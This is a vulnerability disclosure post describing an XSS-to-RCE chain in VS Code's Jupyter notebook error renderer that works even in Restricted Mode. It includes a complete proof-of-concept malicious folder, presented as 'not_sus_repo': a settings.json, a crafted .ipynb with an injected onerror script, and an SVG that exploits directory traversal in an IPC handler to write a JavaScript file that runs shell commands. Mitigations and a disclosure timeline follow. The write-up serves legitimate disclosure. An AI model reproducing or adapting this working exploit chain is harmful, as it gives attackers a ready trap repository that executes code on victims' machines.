In April 2024, I discovered a high-severity vulnerability in Visual Studio Code (VS Code <= 1.89.1) that allows attackers to escalate a Cross-Site Scripting (XSS) bug into full Remote Code Execution (RCE)—even in Restricted Mode.
The desktop version of Visual Studio Code runs on Electron. Renderer processes are sandboxed and communicate with the main process through Electron’s IPC mechanism.
An XSS vulnerability in the newly-introduced minimal error rendering mode for Jupyter notebooks enables arbitrary JavaScript code to be executed within the vscode-app
WebView for the notebook renderer. The vulnerability can be triggered by opening a crafted .ipynb
file if the user has the setting enabled, or by opening a folder containing a crafted settings.json
file in VS Code and opening a malicious ipynb file within the folder. This vulnerability can be triggered even when Restricted Mode is enabled (which is the default for workspaces that have not been explicitly trusted by the user).
In this post, we’ll walk through how the bug works and how it bypasses VS Code’s Restricted Mode.
Vulnerability Details
Default installations of Visual Studio provide some in-built support for Jupyter Notebooks and provide default renderers for some common output types. The source code for these renderers can be found at extensions/notebook-renderers/src/index.ts
. For cells of type application/vnd.code.notebook.error
, the renderer calls the renderError
function, which in turn calls formatStackTrace
located in stackTraceHelper.ts
. That function further calls linkify
, located in the same file, to convert references to lines located in particular cells to clickable links within VS Code. If minimal error rendering mode is enabled, the program will pass the results from formatStackTrace
to createMinimalError
, which performs some further processing and appends the result to the webview’s DOM. Relevent extracts from the code with annotations are reproduced here.
renderError:
function renderError(
outputInfo: OutputItem,
outputElement: HTMLElement,
ctx: IRichRenderContext,
trustHtml: boolean // false if workspace is not trusted
): IDisposable {
// ...
if (err.stack) {
const minimalError = ctx.settings.minimalError && !!headerMessage?.length;
outputElement.classList.add('traceback');
const { formattedStack, errorLocation } = formatStackTrace(err.stack);
// ...
if (minimalError) {
createMinimalError(errorLocation, headerMessage, stackTraceElement, outputElement);
} else {
// ...
}
} else {
// ...
}
outputElement.classList.add('error');
return disposableStore;
}
formatStackTrace and linkify:
export function formatStackTrace(stack: string): { formattedStack: string; errorLocation?: string } {
let cleaned: string;
// ...
if (isIpythonStackTrace(cleaned)) {
return linkifyStack(cleaned);
}
}
const cellRegex = /(?<prefix>Cell\s+(?:\u001b\[.+?m)?In\s*\[(?<executionCount>\d+)\],\s*)(?<lineLabel>line (?<lineNumber>\d+)).*/;
function linkifyStack(stack: string): { formattedStack: string; errorLocation?: string } {
const lines = stack.split('\n');
let fileOrCell: location | undefined;
let locationLink = '';
for (const i in lines) {
const original = lines[i];
if (fileRegex.test(original)) {
// ...
} else if (cellRegex.test(original)) {
fileOrCell = {
kind: 'cell',
path: stripFormatting(original.replace(cellRegex, 'vscode-notebook-cell:?execution_count=$<executionCount>'))
};
const link = original.replace(cellRegex, `<a href=\'${fileOrCell.path}&line=$<lineNumber>\'>line $<lineNumber></a>`); // [1]
lines[i] = original.replace(cellRegex, `$<prefix>${link}`);
locationLink = locationLink || link; // [2]
continue;
}
// ...
}
const errorLocation = locationLink; // [3]
return { formattedStack: lines.join('\n'), errorLocation };
}
createMinimalError:
function createMinimalError(errorLocation: string | undefined, headerMessage: string, stackTrace: HTMLDivElement, outputElement: HTMLElement) {
const outputDiv = document.createElement('div');
const headerSection = document.createElement('div');
headerSection.classList.add('error-output-header');
if (errorLocation && errorLocation.indexOf('<a') === 0) {
headerSection.innerHTML = errorLocation; // [4]
}
const header = document.createElement('span');
header.innerText = headerMessage;
headerSection.appendChild(header);
outputDiv.appendChild(headerSection);
// ...
outputElement.appendChild(outputDiv);
}
At [1]
and [2]
, the code tries to convert sequences such as Cell In [1], line 6
(optionally with ANSI escape sequences) to HTML tags for links with the form <a href=vscode-notebook-cell:?execution_count=1&line=6>line 6</a>
and sets the errorLocation variable to this HTML at [3]
. Crucially, the wildcard at the end of the regular expression it uses will swallow any text that comes after the line number, but any text immediately preceding the Cell In
sequence will not be affected by the replace
operation. Thus, an input like LOLZTEXTHERECell In [1], line 6
in the ipynb. would result in the invalid markup LOLZTEXTHERE<a href=LOLZTEXTHEREvscode-notebook-cell:?execution_count=1&line=6>line 6</a>
.
In createMinimalError
, if errorLocation
is set and begins with <a
, it is considered to be a link generated by the formatStackTrace
function and is thus assigned to headerSection.innerHTML
directly. This element is added to the output DOM regardless of whether the workspace is trusted or not. However, since we have partial control of the markup formatStackTrace
generates (including the start of the string), we can create a notebook file with the stack trace <a><img src onerror=console.log(123)>Cell In [1], line 6
, which will result in the value of errorLocation
being <a><img src onerror=console.log(123)><a href=<a><img[etc]
. Since this satisfies the condition of beginning with <a>
, it will be inserted into headerSection.innerHTML
and rendered in the webview, resulting in the JavaScript being run and 123
being logged to the console.
Escalating to RCE
The XSS vulnerability leads to code execution within an iframe under the vscode-app
origin, which is a frame under the main workbench window which is under the vscode-file
origin. The main workbench window contains the vscode.ipcRenderer
object which enables the renderer frame to send IPC messages to the main frame in order to perform filesystem operations, create and execute commands in PTYs, and so on. To access this object, we need to find a way to execute code within the vscode-file
origin. The code for the vscode-file
protocol handler is located in src/vs/platform/protocol/electron-main/protocolMainService.ts, with the relevant parts excerpted here:
private readonly validExtensions = new Set(['.svg', '.png', '.jpg', '.jpeg', '.gif', '.bmp', '.webp', '.mp4']); // https://github.com/microsoft/vscode/issues/119384
private handleResourceRequest(request: Electron.ProtocolRequest, callback: ProtocolCallback): void {
const path = this.requestToNormalizedFilePath(request);
let headers: Record<string, string> | undefined;
if (this.environmentService.crossOriginIsolated) {
if (basename(path) === 'workbench.html' || basename(path) === 'workbench-dev.html') {
headers = COI.CoopAndCoep;
} else {
headers = COI.getHeadersFromQuery(request.url);
}
}
// first check by validRoots
if (this.validRoots.findSubstr(path)) {
return callback({ path, headers });
}
// then check by validExtensions
if (this.validExtensions.has(extname(path).toLowerCase())) {
return callback({ path });
}
// finally block to load the resource
this.logService.error(`${Schemas.vscodeFileResource}: Refused to load resource ${path} from ${Schemas.vscodeFileResource}: protocol (original URL: ${request.url})`);
return callback({ error: -3 /* ABORTED */ });
}
In order to load files under the vscode-file
protocol, they either have to be located within the VS Code app installation directory or have one of a set of valid extensions. .svg
is a valid extension and can contain JavaScript code which will execute when loaded in an <iframe>
. We can include an SVG file with our malicious repo and get a reference to the directory where it is stored through many of the DOM elements in the notebook webview which contain references to the current directory (the PoC uses the <base>
tag’s href
attribute).
Within the SVG file, top.vscode.ipcRenderer
can be used to invoke IPC handlers of the main process. Two handlers in particular, vscode:readNlsFile
and vscode:writeNlsFile
, were found to be vulnerable to directory traversal, enabling attackers to read and write to any file the process has permission to on the filesystem. The PoC uses this to execute code on Windows and macOS by writing to <vscode app root>/out/node_modules/graceful-fs.js
, which is a file that does not exist by default but VS Code attempts to import when loading a window (which we can trigger immediately by sending a vscode:reloadWindow
IPC message). On Linux, code execution can be achieved through similar means by writing to .bashrc
etc.
Proof-of-Concept:
The PoC is a malicious folder containing a VS Code workspace. To trigger the vulnerability, open the folder in VS Code with the Open Folder command and open README.ipynb within the folder. This PoC has been tested on the Windows and macOS versions of VS code. The file structure of the malicious repository is as follows:
not_sus_repo
├── .vscode
│ └── settings.json
├── README.ipynb
└── icon.svg
vscode/settings.json
:
{
"notebook.output.minimalErrorRendering": true
}
README.ipynb
:
{
"cells": [
{
"cell_type": "code",
"execution_count": 1,
"metadata": {},
"outputs": [
{
"data": {
"application/vnd.code.notebook.error": {
"message": "error",
"name": "name",
"stack": "<a><img src onerror=\"var root=document.getElementsByTagName('base')[0].href;root=root.replace('https://file+.vscode-resource.vscode-cdn.net/','vscode-file://vscode-app/');var iframe=document.createElement('iframe');iframe.src=root+'icon.svg',iframe.style.display='none',document.body.appendChild(iframe);\">Cell \u001b[1;32mIn[1], line 6"
}
},
"metadata": {},
"output_type": "display_data"
}
],
"source": [
"def make_big_err(i):\n",
" if i <= 0:\n",
" raise Exception()\n",
" make_big_err(i-1)\n",
"\n",
"make_big_err(10)"
]
}
]
}
icon.svg
:
<svg height="100" width="100" xmlns="http://www.w3.org/2000/svg">
<circle r="45" cx="50" cy="50" fill="red" />
<script>
async function exp() {
const pathSep = top.vscode.process.platform === 'win32' ? '\\' : '/';
const a = top.vscode.context.configuration().userDataDir;
let b = top.vscode.context.configuration().appRoot;
let payload = top.vscode.process.platform === 'win32' ? 'start calc.exe' : 'open -a Calculator.app';
if (b[1] === ':') {
b = b.slice(2);
}
const subPath = `clp${pathSep}${('..' + pathSep).repeat(15)}${b}${pathSep}out${pathSep}node_modules${pathSep}graceful-fs.js`;
await top.vscode.ipcRenderer.invoke('vscode:writeNlsFile', `${a}${pathSep}${subPath}`, `require("child_process").exec("${payload}");`);
top.vscode.ipcRenderer.send('vscode:reloadWindow');
}
exp();
</script>
</svg>
Suggested Mitigations
- In
createMinimalError
, ensure thaterrorLocation
only consists of an<a>
tag with the specified URI format before assigning toheaderSection.innerHTML
- Use Content Security Policy in the notebook renderer webview to ensure that only trusted scripts are run when in restricted mode.
Demo
It’s demo time.
Timeline
- 2024-07-03 Vendor Disclosure
- 2024-07-03 Initial Vendor Contact
- 2024-07-10 Shared two other POC with vendor
- 2024-08-02 Vendor’s reply “this case has been assessed as low severity and does not meet MSRC’s bar for immediate servicing due to RCE is no longer possible without extensive user interaction (i.e., accepting a save prompt to a location controlled by an attacker).”
- 2025-05-14 Public Disclosure